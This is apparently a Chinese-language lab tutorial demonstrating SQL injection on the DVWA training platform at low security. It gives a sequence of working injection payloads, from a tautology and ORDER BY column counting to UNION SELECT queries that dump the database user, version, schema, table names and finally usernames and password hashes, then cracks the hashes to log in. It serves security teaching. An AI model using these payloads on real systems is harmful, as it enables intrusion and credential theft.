SQL注入攻击(DVWA平台演示)

一、SQL注入攻击介绍

SQL注入攻击是指构建特殊的输入作为参数传递给应用程序,这些参数属于SQL语法里的一些组合。这些参数插入到SQL语句中,破坏了原有的SQL语句的结构,通过SQL语句的执行,进而实现攻击者所要的操作。SQL注入攻击的对象是后端服务器的数据库系统。

二、实验环境

Win7操作系统、DVWA平台

三、DVWA演示SQL注入攻击

1、进入DVWA的登录首页(首页网址:http://localhost/DVWA-master/login.php)后,输入账号admin和密码password,设置安全级别为low(具体平台搭建设置见:https://blog.****.net/Olivia_2/article/details/106802712

2、在网站中找到SQL Injection,开始攻击练习

a.显示First name、Surname等信息。User ID输入:1

SQL注入攻击(DVWA平台演示)

分析:可以猜测后端执行查询的SQL语句类似:select * from user where id='$id'

实际执行的SQL语句类似:select * from user where id='1'

(在这里和下面提到的是“SQL语句类似”,原因是select语句中的 *,user,id只是我的猜测,后端具体执行的是什么不清楚,但是不影响原理分析)

b.遍历该表中的所有内容。User ID输入:1' or' 1' =' 1

SQL注入攻击(DVWA平台演示)000000

分析:实际执行的SQL语句变为类似:select * from user where id='1' or' 1' =' 1'

在SQL语言中,如果第一个条件和第二个条件中只要有一个成立,则 OR 运算符显示一条记录。

c.确定表中的字段数。User ID输入:1' order by 1#

SQL注入攻击(DVWA平台演示)

User ID输入:1' order by 2#

SQL注入攻击(DVWA平台演示)

User ID输入:1' order by 3#

SQL注入攻击(DVWA平台演示)

分析:该表只有2个字段,分析字段数的原因是之后需要用union select 语句获得需要的敏感数据。实际执行的SQL语句类似:select * from user where id='1' order by 3#

在SQL语言中,ORDER BY 语句用于根据指定的列对结果集进行排序。# 号表示注释,在mysql的低版本中 -- 表示注释。

d.获得数据库用户以及数据库名称。User ID输入:1' and 1=2 union select user(),database()#

SQL注入攻击(DVWA平台演示)

分析:获得数据库的用户名为[email protected],数据库名称为dvwa。实际执行的SQL语句类似:select firstname,surname from user where id='1' and 1=2 union select user(),database()#

在SQL语言中,如果第一个条件和第二个条件都成立,则 AND 运算符显示一条记录。UNION 操作符用于合并两个或多个 SELECT 语句的结果集。UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名。

e.得到数据库的版本信息。User ID输入:1' and 1=2 union select version(),database()#

SQL注入攻击(DVWA平台演示)

分析:数据库的版本为5.5.53。实际执行的SQL语句类似:select firstname,surname from user where id='1' and 1=2 union select version(),database()#

f.获得当前操作系统信息。User ID输入:1' and 1=2 union select 1,@@global.version_compile_os from mysql.user #

SQL注入攻击(DVWA平台演示)

分析:操作系统为win32。实际执行的SQL语句类似:select firstname,surname from user where id='1' and 1=2 union select 1,@@global.version_compile_os from mysql.user #

在MySQL中,是通过权限表来控制用户对数据库访问的,通常用户信息、修改用户的密码、删除用户及分配权限等就是在MySQL数据库的user表中。

g.获得默认的schema信息。User ID输入:1' and 1=2 union select 1,schema_name from information_schema.schemata #

SQL注入攻击(DVWA平台演示)

分析:实际执行的SQL语句类似:select firstname,surname from user where id='1' and 1=2 union select 1,schema_name from information_schema.schemata #

在MySQL中有information_schema数据库,在information_schema里有一个表tables存放的是关于数据库中的表的信息,详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。该表有一个字段table_name表示表名,有一个字段table_schema示这个表所在的数据库。schemata表:提供了当前mysql实例中所有数据库的信息。columns表提供了表中的列信息,字段有column_name,table_schema,table_name等。

h.获得某数据库中的表名信息。User ID输入:-1' union select table_name,2 from information_schema.tables where table_schema='dvwa'#

SQL注入攻击(DVWA平台演示)

分析:查询到数据库dvwa中有2张表:questbook和users。实际执行的SQL语句类似:select firstname,surname from user where id='-1' union select table_name,2 from information_schema.tables where table_schema='dvwa'#

i.获得某数据表的字段名。User ID输入:-1' union select column_name,2 from information_schema.columns where table_schema='dvwa' and table_name='users'#

SQL注入攻击(DVWA平台演示)

分析:查询到users表中的字段名有:user,password,avatar等。实际执行的SQL语句类似:select firstname,surname from user where id='-1' union select column_name,2 from information_schema.columns where table_schema='dvwa' and table_name='users'#

j.获得用户名和密码。User ID输入:-1' union select user,password from users#

SQL注入攻击(DVWA平台演示)

分析:获得用户名和密码。实际执行的SQL语句类似:select firstname,surname from user where id='-1' union select user,password from users#

k.获得明文形式密码。

SQL注入攻击(DVWA平台演示)

分析:密码是加密的。使用MD5将密文转换为明文。

l.使用获取的用户名密码登录。

SQL注入攻击(DVWA平台演示)